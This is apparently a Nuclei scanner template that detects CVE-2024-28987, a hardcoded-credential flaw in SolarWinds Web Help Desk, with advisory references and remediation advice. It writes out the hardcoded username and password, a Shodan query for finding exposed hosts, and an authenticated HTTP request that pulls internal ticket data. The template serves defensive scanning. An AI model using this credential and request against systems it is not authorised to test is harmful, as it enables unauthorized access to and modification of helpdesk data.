CVE-2024-28987: SolarWinds Web Help Desk - Hardcoded Credential

id: CVE-2024-28987

info:
  name: SolarWinds Web Help Desk - Hardcoded Credential
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The SolarWinds Web Help Desk (WHD) software is affected by a hardcoded credential vulnerability, allowing remote unauthenticated user to access internal functionality and modify data.
  impact: |
    Attackers with knowledge of the hardcoded credentials can gain unauthorized access to the SolarWinds Web Help Desk system.
  remediation: |
    Update SolarWinds Web Help Desk to a version that removes the hardcoded credentials.
  reference:
    - https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2
    - https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-28987
    cwe-id: CWE-798
    epss-score: 0.93208
    epss-percentile: 0.99829
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:1895809524
  tags: cve,cve2024,exposure,solarwinds,help-desk,kev,vkev,vuln

variables:
  username: "helpdeskIntegrationUser"
  password: "dev-C4F8025E7"

http:
  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username+':'+password)}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - displayClient
          - shortDetail
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402200306bc9f9d0e63cde20d6b19e0f82f02fa0013d0902f741869a146c6364ac53102204b6878aaca1755ddaf6527e60c65fe7feb73948d9d650a6963a407fcb6c96501:922c64590222798bb761d5b6d8e72950

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